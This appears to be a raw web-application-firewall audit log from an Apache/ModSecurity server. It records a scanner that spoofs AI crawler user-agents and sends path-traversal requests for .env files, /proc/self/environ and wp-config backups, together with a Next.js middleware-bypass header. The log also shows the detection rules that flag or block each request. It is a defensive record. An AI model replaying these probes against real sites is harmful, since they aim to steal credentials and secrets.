User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5ace384f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5ace384f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/js../.env"] [unique_id "aqZoPmM7dE9KgIIOpQh0GAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558760164 92307 (- - -)
Stopwatch2: 1789290558760164 92307; combined=4357, p1=265, p2=4030, p3=0, p4=0, p5=61, sr=105, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5ace384f-Z--

--eef6af67-A--
[13/Sep/2026:12:09:18.961914 +0300] aqZoPkwu1RSkptiiNIX4HQAAAIc 34.73.246.242 56418 127.0.0.1 7081
--eef6af67-B--
GET /css../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--eef6af67-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--eef6af67-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/css../.env"] [unique_id "aqZoPkwu1RSkptiiNIX4HQAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290558866101 95890 (- - -)
Stopwatch2: 1789290558866101 95890; combined=4244, p1=216, p2=3935, p3=0, p4=0, p5=93, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--eef6af67-Z--

--70a9cb68-A--
[13/Sep/2026:12:09:19.178986 +0300] aqZoP2M7dE9KgIIOpQh0GgAAAMI 34.73.246.242 56454 127.0.0.1 7081
--70a9cb68-B--
GET /userfiles?path=../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--70a9cb68-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--70a9cb68-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoP2M7dE9KgIIOpQh0GgAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559066979 112083 (- - -)
Stopwatch2: 1789290559066979 112083; combined=4238, p1=232, p2=3943, p3=0, p4=0, p5=63, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--70a9cb68-Z--

--e7ff6312-A--
[13/Sep/2026:12:09:19.187161 +0300] aqZoPysVWymXUono-eRUzwAAAAc 34.73.246.242 56482 127.0.0.1 7081
--e7ff6312-B--
GET /userfiles?path=../../../../proc/self/environ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e7ff6312-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e7ff6312-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoPysVWymXUono-eRUzwAAAAc"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559181479 5749 (- - -)
Stopwatch2: 1789290559181479 5749; combined=4500, p1=247, p2=3956, p3=0, p4=0, p5=297, sr=106, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e7ff6312-Z--

--07017736-A--
[13/Sep/2026:12:09:19.237980 +0300] aqZoPysVWymXUono-eRUzgAAABQ 34.73.246.242 56462 127.0.0.1 7081
--07017736-B--
GET /userfiles?path=../../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--07017736-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--07017736-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoPysVWymXUono-eRUzgAAABQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559132998 105066 (- - -)
Stopwatch2: 1789290559132998 105066; combined=4693, p1=281, p2=4358, p3=0, p4=0, p5=54, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--07017736-Z--

--5739b80e-A--
[13/Sep/2026:12:09:19.252998 +0300] aqZoP2M7dE9KgIIOpQh0GwAAAMc 34.73.246.242 56478 127.0.0.1 7081
--5739b80e-B--
GET /userfiles?path=../../../../.env HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5739b80e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--5739b80e-H--
Message: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\s+(?:\\w{3,7}?://[\\w\\-\\./]*(?::\\d+)?)?/[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?|connect (?:\\d{1,3}\\.){3}\\d{1,3}\\.?(?::\\d+)?|options \\*)\\s+[\\w\\./]+|get /[^?#]*(?:\\?[^#]*)?(?:#[\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Match of "rx ^(?i:(?:[a-z]{3,10}\\\\\\\\s+(?:\\\\\\\\w{3,7}?://[\\\\\\\\w\\\\\\\\-\\\\\\\\./]*(?::\\\\\\\\d+)?)?/[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?|connect (?:\\\\\\\\d{1,3}\\\\\\\\.){3}\\\\\\\\d{1,3}\\\\\\\\.?(?::\\\\\\\\d+)?|options \\\\\\\\*)\\\\\\\\s+[\\\\\\\\w\\\\\\\\./]+|get /[^?#]*(?:\\\\\\\\?[^#]*)?(?:#[\\\\\\\\S]*)?)$" against "REQUEST_LINE" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "140"] [id "77217210"] [msg "IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../../.env HTTP/1.1||T:APACHE||"] [severity "NOTICE"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles"] [unique_id "aqZoP2M7dE9KgIIOpQh0GwAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789290559165019 88043 (- - -)
Stopwatch2: 1789290559165019 88043; combined=5012, p1=217, p2=4730, p3=0, p4=0, p5=65, sr=74, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5739b80e-Z--

--81ef8b68-A--
[13/Sep/2026:12:09:19.342714 +0300] aqZoP2M7dE9KgIIOpQh0HAAAAMk 34.73.246.242 56498 127.0.0.1 7081
--81ef8b68-B--
GET /userfiles/x?path=../../../../proc/self/environ HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--81ef8b68-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--81ef8b68-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:path=../../../../proc/self/environ& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "antarktysvodka.com"] [uri "/userfiles/x"] [unique_id "aqZoP2M7dE9KgIIOpQh0HAAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559337217 5558 (- - -)
Stopwatch2: 1789290559337217 5558; combined=4314, p1=269, p2=3711, p3=0, p4=0, p5=334, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ef8b68-Z--

--b78ad61b-A--
[13/Sep/2026:12:09:19.496868 +0300] aqZoP2M7dE9KgIIOpQh0HQAAAMQ 34.73.246.242 56512 127.0.0.1 7081
--b78ad61b-B--
GET /wp-config.php.bak HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b78ad61b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b78ad61b-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HQAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.bak"] [unique_id "aqZoP2M7dE9KgIIOpQh0HQAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559431542 65391 (- - -)
Stopwatch2: 1789290559431542 65391; combined=64021, p1=240, p2=63452, p3=0, p4=0, p5=329, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b78ad61b-Z--

--f84fbf08-A--
[13/Sep/2026:12:09:19.554170 +0300] aqZoPzTJ6xTvcJoem7f6dgAAAEU 34.73.246.242 56536 127.0.0.1 7081
--f84fbf08-B--
GET /wp-config.php.old HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f84fbf08-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--f84fbf08-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZoPzTJ6xTvcJoem7f6dgAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "antarktysvodka.com"] [uri "/wp-config.php.old"] [unique_id "aqZoPzTJ6xTvcJoem7f6dgAAAEU"]
Action: Intercepted (phase 2)
Stopwatch: 1789290559494099 60136 (- - -)
Stopwatch2: 1789290559494099 60136; combined=58850, p1=246, p2=58339, p3=0, p4=0, p5=264, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f84fbf08-Z--

--600a5c35-A--
[13/Sep/2026:12:09:19.557007 +0300] aqZoPysVWymXUono-eRU0AAAAAs 34.73.246.242 56560 127.0.0.1 7081
--600a5c35-B--
GET /config/.env.php HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 34.73.246.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=HjA%2F5S5jiynEzi5BTq9hhGIxMGUwYTBkZjg2MTg3Mzg3NmM2ZDVlNWJmOWRiYzM3ZGQ0NjgyMTI%3D; PHPSESSID=c7e2149878c6f63eb627d18103b5e8e4
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--600a5c35-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--600a5c35-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-09.34.73.246.242||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
